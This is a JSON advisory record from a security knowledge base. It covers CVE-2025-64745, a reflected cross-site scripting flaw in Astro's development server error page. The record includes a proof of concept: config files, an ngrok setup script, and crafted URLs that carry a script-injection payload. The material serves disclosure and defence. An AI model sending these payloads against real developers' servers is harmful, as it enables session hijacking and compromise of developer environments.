文件
websafe-kb/08-threat-intel/registry/advisories/astro--CVE-2025-64745.json

79 行
7.2 KiB
JSON

{
"canonical_id": "astro--CVE-2025-64745",
"system_id": "astro",
"display_name": "Astro",
"category": "frameworks",
"advisory_mode": "core",
"title": "Astro development server error page is vulnerable to reflected Cross-site Scripting",
"summary": "## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.\n\n## Details\n\n### Vulnerability Location\n\nhttps://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149\n\n### Root Cause\n\nThe vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to \"redirect trailing slashes on on-demand rendered pages.\" The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.\n\n**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.\n\n### Attack Vector\n\nWhen a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.\n\n## PoC\n\n### Local Testing (localhost)\n\nBasic vulnerability verification in local development environment\n\n<details>\n<summary>Show details</summary>\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\n\nexport default defineConfig({\n trailingSlash: 'never', // or 'always'\n server: {\n port: 3000,\n host: true\n }\n});\n```\n\n`package.json`:\n```json\n{\n \"name\": \"astro-xss-poc-victim\",\n \"version\": \"0.1.0\",\n \"scripts\": {\n \"dev\": \"astro dev\"\n },\n \"dependencies\": {\n \"astro\": \"5.15.5\"\n }\n}\n```\n\nStart the development server:\n```bash\nnpm install\nnpm run dev\n```\n\nAccess the following malicious URL depending on your configuration:\n\n**For `trailingSlash: 'never'`** (requires trailing slash):\n```\nhttp://localhost:3000/\"></code><script>alert(document.domain)</script><!--/\n```\n\n**For `trailingSlash: 'always'`** (no trailing slash):\n```\nhttp://localhost:3000/\"></code><script>alert(document.domain)</script><!--\n```\n\nWhen accessing the malicious URL:\n1. The development server returns a 404 page due to trailing slash mismatch\n2. The JavaScript payload (`alert(document.domain)`) executes in the browser\n3. An alert dialog appears, demonstrating arbitrary code execution\n\n</details>\n\n### Remote Testing (ngrok)\n\nReproduce realistic attack scenario via external malicious link\n\n<details>\n<summary>Show details</summary>\n\nPrerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`)\n\nSetup and Execution:\n```bash\n#!/bin/bash\nset -e\n\nmkdir -p logs\n\nnpm i\nnpm run dev > ./logs/victim.log 2>&1 &\n\nngrok http 3000 > ./logs/ngrok.log 2>&1 &\n\nsleep 3\n\nNGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '\"public_url\":\"https://[^\"]*' | head -1 | cut -d'\"' -f4)\necho \"\"\necho \"=== Attack URLs ===\"\necho \"\"\necho \"For trailingSlash: 'never' (requires trailing slash):\"\necho \"${NGROK_URL}/\\\"></code><script>alert(document.domain)</script><!--/\"\necho \"\"\necho \"For trailingSlash: 'always' (no trailing slash):\"\necho \"${NGROK_URL}/\\\"></code><script>alert(document.domain)</script><!--\"\necho \"\"\nwait\n```\n\nWhen a remote user accesses either of the generated attack URLs:\n1. The request is tunneled through ngrok to the local development server\n2. The development server returns a 404 page due to trailing slash mismatch\n3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser\n\nBoth URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').\n\n</details>\n\n## Impact\n\nThis only affects the **development server**. Risk depends on how and where the dev server is exposed.\n\n### Security impact\n\n* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser.\n* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.\n* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.\n* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.\n\n### Attack scenarios\n\n* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.\n* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.\n* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.",
"published_at": "2025-11-13T22:38:30Z",
"updated_at": "2025-11-27T08:22:31.471739Z",
"severity": "low",
"cvss_score": 3.1,
"exploit_status": "unknown",
"source_confidence": "official",
"official_source_url": "https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7",
"secondary_source_urls": [
"https://nvd.nist.gov/vuln/detail/CVE-2025-64745",
"https://github.com/withastro/astro/pull/12994",
"https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91",
"https://github.com/withastro/astro",
"https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149"
],
"aliases": [
"CVE-2025-64745",
"GHSA-w2vj-39qv-7vh7"
],
"cve_ids": [
"CVE-2025-64745"
],
"ghsa_ids": [
"GHSA-w2vj-39qv-7vh7"
],
"osv_ids": [
"GHSA-w2vj-39qv-7vh7"
],
"affected_versions": [
"introduced=5.2.0, fixed<5.15.6"
],
"fixed_versions": [
"5.15.6"
],
"package_name": "astro",
"render_markdown": true,
"case_path": "07-framework-security/frameworks/astro/cases/astro-cve-2025-64745.md",
"secure_code_topics": [
"authz-server-side-recheck",
"csp-trusted-types",
"xss-output-encoding",
"token-cookie-storage",
"dependency-upgrade-policy"
],
"status": "generated",
"triage_reasons": [],
"verification_status": "triage-manual",
"verification_mode": "synthetic",
"last_verified_at": null,
"last_run_id": null,
"evidence_bundle": null,
"historical_status": null,
"latest_status": null,
"browser_evidence": {
"required": false,
"present": false,
"refs": []
},
"repro_profile_id": "xss-generic",
"artifact_mode": "synthetic",
"blocked_reason": null,
"metadata": {
"source_names": [
"OSV Astro"
],
"source_kinds": [
"osv-batch"
],
"candidate_count": 1
}
}